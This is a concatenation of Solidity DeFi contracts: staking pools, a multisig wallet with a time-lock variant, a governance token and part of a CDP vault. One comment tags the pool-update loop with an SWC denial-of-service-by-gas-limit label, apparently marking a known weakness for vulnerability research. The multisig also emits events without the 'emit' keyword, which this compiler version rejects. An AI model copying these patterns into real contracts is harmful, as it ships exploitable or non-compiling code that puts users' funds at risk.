_pools.length(); _poolId++) { Pool.Data storage _pool = _pools.get(_poolId); uint256 _currentRewardWeight = _pool.rewardWeight; if (_currentRewardWeight == _rewardWeights[_poolId]) { continue; } _totalRewardWeight = _totalRewardWeight.sub(_currentRewardWeight).add(_rewardWeights[_poolId]); _pool.rewardWeight = _rewardWeights[_poolId]; emit PoolRewardWeightUpdated(_poolId, _rewardWeights[_poolId]); } _ctx.totalRewardWeight = _totalRewardWeight; } /// @dev Stakes tokens into a pool. /// /// @param _poolId the pool to deposit tokens into. /// @param _depositAmount the amount of tokens to deposit. function deposit(uint256 _poolId, uint256 _depositAmount) external nonReentrant { Pool.Data storage _pool = _pools.get(_poolId); _pool.update(_ctx); Stake.Data storage _stake = _stakes[msg.sender][_poolId]; _stake.update(_pool, _ctx); _deposit(_poolId, _depositAmount); } /// @dev Withdraws staked tokens from a pool. /// /// @param _poolId The pool to withdraw staked tokens from. /// @param _withdrawAmount The number of tokens to withdraw. function withdraw(uint256 _poolId, uint256 _withdrawAmount) external nonReentrant { Pool.Data storage _pool = _pools.get(_poolId); _pool.update(_ctx); Stake.Data storage _stake = _stakes[msg.sender][_poolId]; _stake.update(_pool, _ctx); _claim(_poolId); _withdraw(_poolId, _withdrawAmount); } /// @dev Claims all rewarded tokens from a pool. /// /// @param _poolId The pool to claim rewards from. /// /// @notice use this function to claim the tokens from a corresponding pool by ID. function claim(uint256 _poolId) external nonReentrant { Pool.Data storage _pool = _pools.get(_poolId); _pool.update(_ctx); Stake.Data storage _stake = _stakes[msg.sender][_poolId]; _stake.update(_pool, _ctx); _claim(_poolId); } /// @dev Claims all rewards from a pool and then withdraws all staked tokens. /// /// @param _poolId the pool to exit from. function exit(uint256 _poolId) external nonReentrant { Pool.Data storage _pool = _pools.get(_poolId); _pool.update(_ctx); Stake.Data storage _stake = _stakes[msg.sender][_poolId]; _stake.update(_pool, _ctx); _claim(_poolId); _withdraw(_poolId, _stake.totalDeposited); } /// @dev Gets the rate at which tokens are minted to stakers for all pools. /// /// @return the reward rate. function rewardRate() external view returns (uint256) { return _ctx.rewardRate; } /// @dev Gets the total reward weight between all the pools. /// /// @return the total reward weight. function totalRewardWeight() external view returns (uint256) { return _ctx.totalRewardWeight; } /// @dev Gets the number of pools that exist. /// /// @return the pool count. function poolCount() external view returns (uint256) { return _pools.length(); } /// @dev Gets the token a pool accepts. /// /// @param _poolId the identifier of the pool. /// /// @return the token. function getPoolToken(uint256 _poolId) external view returns (IERC20) { Pool.Data storage _pool = _pools.get(_poolId); return _pool.token; } /// @dev Gets the total amount of funds staked in a pool. /// /// @param _poolId the identifier of the pool. /// /// @return the total amount of staked or deposited tokens. function getPoolTotalDeposited(uint256 _poolId) external view returns (uint256) { Pool.Data storage _pool = _pools.get(_poolId); return _pool.totalDeposited; } /// @dev Gets the reward weight of a pool which determines how much of the total rewards it receives per block. /// /// @param _poolId the identifier of the pool. /// /// @return the pool reward weight. function getPoolRewardWeight(uint256 _poolId) external view returns (uint256) { Pool.Data storage _pool = _pools.get(_poolId); return _pool.rewardWeight; } /// @dev Gets the amount of tokens per block being distributed to stakers for a pool. /// /// @param _poolId the identifier of the pool. /// /// @return the pool reward rate. function getPoolRewardRate(uint256 _poolId) external view returns (uint256) { Pool.Data storage _pool = _pools.get(_poolId); return _pool.getRewardRate(_ctx); } /// @dev Gets the number of tokens a user has staked into a pool. /// /// @param _account The account to query. /// @param _poolId the identifier of the pool. /// /// @return the amount of deposited tokens. function getStakeTotalDeposited(address _account, uint256 _poolId) external view returns (uint256) { Stake.Data storage _stake = _stakes[_account][_poolId]; return _stake.totalDeposited; } /// @dev Gets the number of unclaimed reward tokens a user can claim from a pool. /// /// @param _account The account to get the unclaimed balance of. /// @param _poolId The pool to check for unclaimed rewards. /// /// @return the amount of unclaimed reward tokens a user has in a pool. function getStakeTotalUnclaimed(address _account, uint256 _poolId) external view returns (uint256) { Stake.Data storage _stake = _stakes[_account][_poolId]; return _stake.getUpdatedTotalUnclaimed(_pools.get(_poolId), _ctx); } /// @dev Updates all of the pools. /// /// Warning: /// Make the staking plan before add a new pool. If the amount of pool becomes too many would /// result the transaction failed due to high gas usage in for-loop. //SWC-DoS With Block Gas Limit: L308-L313 function _updatePools() internal { for (uint256 _poolId = 0; _poolId < _pools.length(); _poolId++) { Pool.Data storage _pool = _pools.get(_poolId); _pool.update(_ctx); } } /// @dev Stakes tokens into a pool. /// /// The pool and stake MUST be updated before calling this function. /// /// @param _poolId the pool to deposit tokens into. /// @param _depositAmount the amount of tokens to deposit. function _deposit(uint256 _poolId, uint256 _depositAmount) internal { Pool.Data storage _pool = _pools.get(_poolId); Stake.Data storage _stake = _stakes[msg.sender][_poolId]; _pool.totalDeposited = _pool.totalDeposited.add(_depositAmount); _stake.totalDeposited = _stake.totalDeposited.add(_depositAmount); _pool.token.safeTransferFrom(msg.sender, address(this), _depositAmount); emit TokensDeposited(msg.sender, _poolId, _depositAmount); } /// @dev Withdraws staked tokens from a pool. /// /// The pool and stake MUST be updated before calling this function. /// /// @param _poolId The pool to withdraw staked tokens from. /// @param _withdrawAmount The number of tokens to withdraw. function _withdraw(uint256 _poolId, uint256 _withdrawAmount) internal { Pool.Data storage _pool = _pools.get(_poolId); Stake.Data storage _stake = _stakes[msg.sender][_poolId]; _pool.totalDeposited = _pool.totalDeposited.sub(_withdrawAmount); _stake.totalDeposited = _stake.totalDeposited.sub(_withdrawAmount); _pool.token.safeTransfer(msg.sender, _withdrawAmount); emit TokensWithdrawn(msg.sender, _poolId, _withdrawAmount); } /// @dev Claims all rewarded tokens from a pool. /// /// The pool and stake MUST be updated before calling this function. /// /// @param _poolId The pool to claim rewards from. /// /// @notice use this function to claim the tokens from a corresponding pool by ID. function _claim(uint256 _poolId) internal { Stake.Data storage _stake = _stakes[msg.sender][_poolId]; uint256 _claimAmount = _stake.totalUnclaimed; _stake.totalUnclaimed = 0; reward.mint(msg.sender, _claimAmount); emit TokensClaimed(msg.sender, _poolId, _claimAmount); } } pragma solidity 0.6.12; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint256 indexed transactionId); event Revocation(address indexed sender, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId); event Deposit(address indexed sender, uint256 value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint256 required); /* * Constants */ uint256 public constant MAX_OWNER_COUNT = 50; /* * Storage */ mapping(uint256 => Transaction) public transactions; mapping(uint256 => mapping(address => bool)) public confirmations; mapping(address => bool) public isOwner; address[] public owners; uint256 public required; uint256 public transactionCount; struct Transaction { address destination; uint256 value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint256 transactionId) { require(transactions[transactionId].destination != address(0)); _; } modifier confirmed(uint256 transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint256 transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint256 transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != address(0)); _; } modifier validRequirement(uint256 ownerCount, uint256 _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. fallback() external payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required) { for (uint256 i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint256 i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.pop(); if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint256 i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return transactionId Returns transaction ID. function submitTransaction( address destination, uint256 value, bytes memory data ) public returns (uint256 transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint256 transactionId) public virtual ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint256 transactionId) public virtual ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call( address destination, uint256 value, uint256 dataLength, bytes memory data ) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas(), 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint256 transactionId) public view returns (bool) { uint256 count = 0; for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } return false; } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return transactionId Returns transaction ID. function addTransaction( address destination, uint256 value, bytes memory data ) internal notNull(destination) returns (uint256 transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({destination: destination, value: value, data: data, executed: false}); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return count Number of confirmations. function getConfirmationCount(uint256 transactionId) public view returns (uint256 count) { for (uint256 i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filters are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return count Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint256 count) { for (uint256 i = 0; i < transactionCount; i++) if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return _confirmations Returns array of owner addresses. function getConfirmations(uint256 transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint256 count = 0; uint256 i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return _transactionIds Returns array of transaction IDs. function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory _transactionIds) { require(to > from && transactionCount >= to, "MultiSigWallet: function input `to` or `from` is not valid"); uint256[] memory transactionIdsTemp = new uint256[](to - from); uint256 count = 0; uint256 i; for (i = from; i < to; i++) if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint256[](count); for (i = 0; i < count; i++) _transactionIds[i] = transactionIdsTemp[i]; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./MultiSigWallet.sol"; /// @title Multisignature wallet with time lock- Allows multiple parties to execute a transaction after a time lock has passed. /// @author Amir Bandeali - <amir@0xProject.com> // solhint-disable not-rely-on-time contract MultiSigWalletWithTimeLock is MultiSigWallet { using SafeMath for uint256; event ConfirmationTimeSet(uint256 indexed transactionId, uint256 confirmationTime); event TimeLockChange(uint256 secondsTimeLocked); uint256 public secondsTimeLocked; mapping(uint256 => uint256) public confirmationTimes; modifier fullyConfirmed(uint256 transactionId) { require(isConfirmed(transactionId), "TX_NOT_FULLY_CONFIRMED"); _; } modifier pastTimeLock(uint256 transactionId) { require(block.timestamp >= confirmationTimes[transactionId].add(secondsTimeLocked), "TIME_LOCK_INCOMPLETE"); _; } /// @dev Contract constructor sets initial owners, required number of confirmations, and time lock. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _secondsTimeLocked Duration needed after a transaction is confirmed and before it becomes executable, in seconds. constructor( address[] memory _owners, uint256 _required, uint256 _secondsTimeLocked ) public MultiSigWallet(_owners, _required) { secondsTimeLocked = _secondsTimeLocked; } /// @dev Changes the duration of the time lock for transactions. /// @param _secondsTimeLocked Duration needed after a transaction is confirmed and before it becomes executable, in seconds. function changeTimeLock(uint256 _secondsTimeLocked) public onlyWallet { secondsTimeLocked = _secondsTimeLocked; emit TimeLockChange(_secondsTimeLocked); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint256 transactionId) public override ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { bool isTxFullyConfirmedBeforeConfirmation = isConfirmed(transactionId); confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); if (!isTxFullyConfirmedBeforeConfirmation && isConfirmed(transactionId)) { _setConfirmationTime(transactionId, block.timestamp); } } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint256 transactionId) public override notExecuted(transactionId) fullyConfirmed(transactionId) pastTimeLock(transactionId) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) { emit Execution(transactionId); } else { emit ExecutionFailure(transactionId); txn.executed = false; } } /// @dev Sets the time of when a submission first passed. function _setConfirmationTime(uint256 transactionId, uint256 confirmationTime) internal { confirmationTimes[transactionId] = confirmationTime; emit ConfirmationTimeSet(transactionId, confirmationTime); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; /// @title NAOSToken /// /// @dev This is the contract for the NAOS governance token. contract NAOSToken is AccessControl, ERC20("NAOSToken", "NAOS") { /// @dev The identifier of the role which maintains other roles. bytes32 public constant ADMIN_ROLE = keccak256("ADMIN"); /// @dev The identifier of the role which allows accounts to mint tokens. bytes32 public constant MINTER_ROLE = keccak256("MINTER"); /// @dev The address of default admin address public DEFAULT_ADMIN_ADDRESS; constructor() public { DEFAULT_ADMIN_ADDRESS = msg.sender; _setupRole(ADMIN_ROLE, DEFAULT_ADMIN_ADDRESS); _setupRole(MINTER_ROLE, DEFAULT_ADMIN_ADDRESS); _setRoleAdmin(MINTER_ROLE, ADMIN_ROLE); _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE); } /// @dev A modifier which checks that the caller has the minter role. modifier onlyMinter() { require(hasRole(MINTER_ROLE, msg.sender), "NAOSToken: only minter"); _; } /// @dev Mints tokens to a recipient. /// /// This function reverts if the caller does not have the minter role. /// /// @param _recipient the account to mint tokens to. /// @param _amount the amount of tokens to mint. function mint(address _recipient, uint256 _amount) external onlyMinter { _mint(_recipient, _amount); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {Math} from "@openzeppelin/contracts/math/Math.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {CDP} from "./libraries/formation/CDP.sol"; import {FixedPointMath} from "./libraries/FixedPointMath.sol"; import {ITransmuter} from "./interfaces/ITransmuter.sol"; import {IMintableERC20} from "./interfaces/IMintableERC20.sol"; import {IChainlink} from "./interfaces/IChainlink.sol"; import {IVaultAdapter} from "./interfaces/IVaultAdapter.sol"; import {Vault} from "./libraries/formation/Vault.sol"; contract Formation is ReentrancyGuard { using CDP for CDP.Data; using FixedPointMath for FixedPointMath.uq192x64; using Vault for Vault.Data; using Vault for Vault.List; using SafeERC20 for IMintableERC20; using SafeMath for uint256; using Address for address; address public constant ZERO_ADDRESS = address(0); /// @dev Resolution for all fixed point numeric parameters which represent percents. The resolution allows for a /// granularity of 0.01% increments. uint256 public constant PERCENT_RESOLUTION = 10000; /// @dev The minimum value that the collateralization limit can be set to by the governance. This is a safety rail /// to prevent the collateralization from being set to a value which breaks the system. /// /// This value is equal to 100%. /// /// IMPORTANT: This constant is a raw FixedPointMath.uq192x64 value and assumes a resolution of 64 bits. If the /// resolution for the FixedPointMath library changes this constant must change as well. uint256 public constant MINIMUM_COLLATERALIZATION_LIMIT = 1000000000000000000; /// @dev The maximum value that the collateralization limit can be set to by the governance. This is a safety rail /// to prevent the collateralization from being set to a value which breaks the system. /// /// This value is equal to 400%. /// /// IMPORTANT: This constant is a raw FixedPointMath.uq192x64 value and assumes a resolution of 64 bits. If the /// resolution for the FixedPointMath library changes this constant must change as well. uint256 public constant MAXIMUM_COLLATERALIZATION_LIMIT = 4000000000000000000; event GovernanceUpdated(address governance); event PendingGovernanceUpdated(address pendingGovernance); event SentinelUpdated(address sentinel); event TransmuterUpdated(address transmuter); event RewardsUpdated(address treasury); event HarvestFeeUpdated(uint256 fee); event CollateralizationLimitUpdated(uint256 limit); event EmergencyExitUpdated(bool status); event ActiveVaultUpdated(IVaultAdapter indexed adapter); event FundsHarvested(uint256 withdrawnAmount, uint256 decreasedValue); event FundsRecalled(uint256 indexed vaultId, uint256 withdrawnAmount, uint256 decreasedValue); event FundsFlushed(uint256 amount); event TokensDeposited(address indexed account, uint256 amount); event TokensWithdrawn(address indexed account, uint256 requestedAmount, uint256 withdrawnAmount, uint256 decreasedValue); event TokensRepaid(address indexed account, uint256 parentAmount, uint256 childAmount); event TokensLiquidated(address indexed account, uint256 requestedAmount, uint256 withdrawnAmount, uint256 decreasedValue); /// @dev The token that this contract is using as the parent asset. IMintableERC20 public token; /// @dev The token that this contract is using as the child asset. IMintableERC20 public xtoken; /// @dev The address of the account which currently has administrative capabilities over this contract. address public governance; /// @dev The address of the pending governance. address public pendingGovernance; /// @dev The address of the account which can initiate an emergency withdraw of funds in a vault. address public sentinel; /// @dev The address of the contract which will transmute synthetic tokens back into native tokens. address public transmuter; /// @dev The address of the contract which will receive fees. address public rewards; /// @dev The percent of each profitable harvest that will go to the rewards contract. uint256 public harvestFee; /// @dev The total amount the native token deposited into the system that is owned by external users. uint256 public totalDeposited; /// @dev when movements are bigger than this number flush is activated. uint256 public flushActivator; /// @dev A flag indicating if the contract has been initialized yet. bool public initialized; /// @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall /// from the active vault. bool public emergencyExit; /// @dev The context shared between the CDPs. CDP.Context private _ctx; /// @dev A mapping of all of the user CDPs. If a user wishes to have multiple CDPs they will have to either /// create a new address or set up a proxy contract that interfaces with this contract. mapping(address => CDP.Data) private _cdps; /// @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for /// deposits and withdraws. Vaults before the last element are considered inactive and are expected to be cleared. Vault.List private _vaults; /// @dev The address of the link oracle. address public _linkGasOracle; /// @dev The minimum returned amount needed to be on peg according to the oracle. uint256 public pegMinimum; /// @dev The maximum update time of oracle (seconds) uint256 public oracleUpdateDelay; /// @dev A mapping of adapter addresses to keep track of vault adapters that have already been added mapping(IVaultAdapter => bool) public adapters; constructor( IMintableERC20 _token, IMintableERC20 _xtoken, address _governance, address _sentinel, uint256 _flushActivator ) public { require(address(_token) != ZERO_ADDRESS, "Formation: token address cannot be 0x0."); require(address(_xtoken) != ZERO_ADDRESS, "Formation: xtoken address cannot be 0x0."); require(_governance != ZERO_ADDRESS, "Formation: governance address cannot be 0x0."); require(_sentinel != ZERO_ADDRESS, "Formation: sentinel address cannot be 0x0."); require(_flushActivator > 0, "Formation: flushActivator should be larger than 0"); token = _token; xtoken = _xtoken; governance = _governance; sentinel = _sentinel; flushActivator = _flushActivator; // Recommend(if the token decimals is 18): 100000 ether //_setupDecimals(_token.decimals()); uint256 COLL_LIMIT = MINIMUM_COLLATERALIZATION_LIMIT.mul(2); _ctx.collateralizationLimit = FixedPointMath.uq192x64(COLL_LIMIT); _ctx.accumulatedYieldWeight = FixedPointMath.uq192x64(0); } /// @dev Sets the pending governance. /// /// This function reverts if the new pending governance is the zero address or the caller is not the current /// governance. This is to prevent the contract governance being set to the zero address which would deadlock /// privileged contract functionality. /// /// @param _pendingGovernance the new pending governance. function setPendingGovernance(address _pendingGovernance) external onlyGov { require(_pendingGovernance != ZERO_ADDRESS, "Formation: governance address cannot be 0x0."); pendingGovernance = _pendingGovernance; emit PendingGovernanceUpdated(_pendingGovernance); } /// @dev Accepts the role as governance. /// /// This function reverts if the caller is not the new pending governance. function acceptGovernance() external { require(msg.sender == pendingGovernance, "sender is not pendingGovernance"); governance = pendingGovernance; emit GovernanceUpdated(pendingGovernance); } function setSentinel(address _sentinel) external onlyGov { require(_sentinel != ZERO_ADDRESS, "Formation: sentinel address cannot be 0x0."); sentinel = _sentinel; emit SentinelUpdated(_sentinel); } /// @dev Sets the transmuter. /// /// This function reverts if the new transmuter is the zero address or the caller is not the current governance. /// /// @param _transmuter the new transmuter. function setTransmuter(address _transmuter) external onlyGov { // Check that the transmuter address is not the zero address. Setting the transmuter to the zero address would break // transfers to the address because of `safeTransfer` checks. require(_transmuter != ZERO_ADDRESS, "Formation: transmuter address cannot be 0x0."); transmuter = _transmuter; emit TransmuterUpdated(_transmuter); } /// @dev Sets the flushActivator. /// /// @param _flushActivator the new flushActivator. function setFlushActivator(uint256 _flushActivator) external onlyGov { flushActivator = _flushActivator; } /// @dev Sets the rewards contract. /// /// This function reverts if the new rewards contract is the zero address or the caller is not the current governance. /// /// @param _rewards the new rewards contract. function setRewards(address _rewards) external onlyGov { // Check that the rewards address is not the zero address. Setting the rewards to the zero address would break // transfers to the address because of `safeTransfer` checks. require(_rewards != ZERO_ADDRESS, "Formation: rewards address cannot be 0x0."); rewards = _rewards; emit RewardsUpdated(_rewards); } /// @dev Sets the harvest fee. /// /// This function reverts if the caller is not the current governance. /// /// @param _harvestFee the new harvest fee. function setHarvestFee(uint256 _harvestFee) external onlyGov { // Check that the harvest fee is within the acceptable range. Setting the harvest fee greater than 100% could // potentially break internal logic when calculating the harvest fee. require(_harvestFee <= PERCENT_RESOLUTION, "Formation: harvest fee above maximum."); harvestFee = _harvestFee; emit HarvestFeeUpdated(_harvestFee); } /// @dev Sets the collateralization limit. /// /// This function reverts if the caller is not the current governance or if the collateralization limit is outside /// of the accepted bounds. /// /// @param _limit the new collateralization limit. function setCollateralizationLimit(uint256 _limit) external onlyGov { require(_limit >= MINIMUM_COLLATERALIZATION_LIMIT, "Formation: collateralization limit below minimum."); require(_limit <= MAXIMUM_COLLATERALIZATION_LIMIT, "Formation: collateralization limit above maximum."); _ctx.collateralizationLimit = FixedPointMath.uq192x64(_limit); emit CollateralizationLimitUpdated(_limit); } /// @dev Set oracle. function setOracleAddress( address Oracle, uint256 peg, uint256 delay ) external onlyGov { _linkGasOracle = Oracle; pegMinimum = peg; oracleUpdateDelay = delay; } /// @dev Sets if the contract should enter emergency exit mode. /// /// @param _emergencyExit if the contract should enter emergency exit mode. function setEmergencyExit(bool _emergencyExit) external { require(msg.sender == governance || msg.sender == sentinel, "Formation: sender should be governance or sentinel"); emergencyExit = _emergencyExit; emit EmergencyExitUpdated(_emergencyExit); } /// @dev Gets the collateralization limit. /// /// The collateralization limit is the minimum ratio of collateral to debt that is allowed by the system. /// /// @return the collateralization limit. function collateralizationLimit() external view returns (FixedPointMath.uq192x64 memory) { return _ctx.collateralizationLimit; } /// @dev Initializes the contract. /// /// This function checks that the transmuter and rewards have been set and sets up the active vault. /// /// @param _adapter the vault adapter of the active vault. function initialize(IVaultAdapter _adapter) external onlyGov { require(!initialized, "Formation: already initialized"); require(transmuter != ZERO_ADDRESS, "Formation: cannot initialize transmuter address to 0x0"); require(rewards != ZERO_ADDRESS, "Formation: cannot initialize rewards address to 0x0"); _updateActiveVault(_adapter); initialized = true; } /// @dev Migrates the system to a new vault. /// /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized. /// /// @param _adapter the adapter for the vault the system will migrate to. function migrate(IVaultAdapter _adapter) external expectInitialized onlyGov { _updateActiveVault(_adapter); } /// @dev Harvests yield from a vault. /// /// @param _vaultId the identifier of the vault to harvest from. /// /// @return the amount of funds that were harvested from the vault. function harvest(uint256 _vaultId) external expectInitialized returns (uint256, uint256) { Vault.Data storage _vault = _vaults.get(_vaultId); (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(address(this)); if (_harvestedAmount > 0) { uint256 _feeAmount = _harvestedAmount.mul(harvestFee).div(PERCENT_RESOLUTION); uint256 _distributeAmount = _harvestedAmount.sub(_feeAmount); FixedPointMath.uq192x64 memory _weight = FixedPointMath.fromU256(_distributeAmount).div(totalDeposited); _ctx.accumulatedYieldWeight = _ctx.accumulatedYieldWeight.add(_weight); if (_feeAmount > 0) { token.safeTransfer(rewards, _feeAmount); } if (_distributeAmount > 0) { _distributeToTransmuter(_distributeAmount); } } emit FundsHarvested(_harvestedAmount, _decreasedValue); return (_harvestedAmount, _decreasedValue); } /// @dev Recalls an amount of deposited funds from a vault to this contract. /// /// @param _vaultId the identifier of the recall funds from. /// /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value. function recall(uint256 _vaultId, uint256 _amount) external nonReentrant expectInitialized returns (uint256, uint256) { return _recallFunds(_vaultId, _amount); } /// @dev Recalls all the deposited funds from a vault to this contract. /// /// @param _vaultId the identifier of the recall funds from. /// /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value. function recallAll(uint256 _vaultId) external nonReentrant expectInitialized returns (uint256, uint256) { Vault.Data storage _vault = _vaults.get(_vaultId); return _recallFunds(_vaultId, _vault.totalDeposited); } /// @dev Flushes buffered tokens to the active vault. /// /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of /// additional funds. /// /// @return the amount of tokens flushed to the active vault. function flush() external nonReentrant expectInitialized returns (uint256) { return flushActiveVault(); } /// @dev Internal function to flush buffered tokens to the active vault. /// /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of /// additional funds. /// /// @return the amount of tokens flushed to the active vault. function flushActiveVault() internal returns (uint256) { // Prevent flushing to the active vault when an emergency exit is enabled to prevent potential loss of funds if // the active vault is poisoned for any reason. require(!emergencyExit, "emergency pause enabled"); Vault.Data storage _activeVault = _vaults.last(); uint256 _depositedAmount = _activeVault.depositAll(); emit FundsFlushed(_depositedAmount); return _depositedAmount; } /// @dev Deposits collateral into a CDP. /// /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of /// additional funds. /// /// @param _amount the amount of collateral to deposit. function 